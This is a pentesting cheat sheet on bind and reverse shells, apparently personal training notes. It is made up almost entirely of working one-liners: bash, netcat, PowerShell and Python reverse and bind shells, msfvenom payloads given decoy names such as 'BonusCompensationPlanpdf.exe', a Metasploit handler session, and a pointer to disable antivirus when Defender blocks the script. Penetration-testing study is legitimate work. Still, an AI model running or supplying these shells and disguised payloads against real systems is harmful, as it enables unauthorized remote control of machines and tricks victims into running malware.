Bind and Reverse Shell

Tools

LazyRevShell

LogoGitHub - aniqfakhrul/LazyShell: Script to generate reverse shellsGitHub
LazyShell

One-Lin3r

LogoGitHub - D4Vinci/One-Lin3r: Gives you one-liners that aids in penetration testing operations, privilege escalation and moreGitHub
One-Lin3r
pip install one-lin3r

FuegoShell

LogoGitHub - v1k1ngfr/fuegoshell: Fuegoshell is a powershell oneliner generator for Windows remote shell re-using TCP 445GitHub

Web Shells

Web Shell

Reverse Shell - Not Web

LogoGitHub - BlWasp/rs-shell: A dirty PoC for a reverse shell with cool features in RustGitHub
Rust RS
LogoOnline - Reverse Shell Generator
Online - Reverse Shell Generator
LogoMy Pentest Tools
LogoPayloadsAllTheThings/Reverse Shell Cheatsheet.md at master · swisskyrepo/PayloadsAllTheThingsGitHub

Attack Host

nc -nlvp 1234

Bash - Victim

bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f

Powershell - Victim

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',1234);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()"

If:

At line:1 char:1
+ $client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443) ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

=> Disable AV

Disable AV - Defender

Invoke-PowershellTcp.ps1

PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444

MSFVenom

Linux

$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > createbackup.elf

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes

Windows

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f exe > BonusCompensationPlanpdf.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
$ msfvenom -p windows/x64/meterpreter/reverse_https lhost= <InternalIPofPivotHost> -f exe -o backupscript.exe LPORT=8080

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 712 bytes
Final size of exe file: 7168 bytes
Saved as: backupscript.exe
msf6 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 8000
lport => 8000
msf6 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://0.0.0.0:8000

Cheatsheet:

More on: https://www.revshells.com/

Metasploit

Bind Shell - Not Web

Netcat -Victim

nc 10.10.10.1 1234
nc -lvnp 7777

Bash - Victim

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -l 10.129.201.134 1234 >/tmp/f

Debugging

htb-student@ubuntu:~$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f
nc: getnameinfo: Temporary failure in name resolution
htb-student@ubuntu:~$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 10.129.201.134 1234 >/tmp/f
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
	  [-m minttl] [-O length] [-P proxy_username] [-p source_port]
	  [-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
	  [-X proxy_protocol] [-x proxy_address[:port]] 	  [destination] [port]
htb-student@ubuntu:~$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -l 10.129.201.134 1234 >/tmp/f

Python - Victim

python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",1234));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'

Powershell - Vicitm

powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]1234; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();

Invoke-PowershellTcp.ps1

PS > Invoke-PowerShellTcp -Bind -Port 4444

Attack Host

nc -nv 10.129.41.200 7777

TTY upgrade

TTY Upgrade

References

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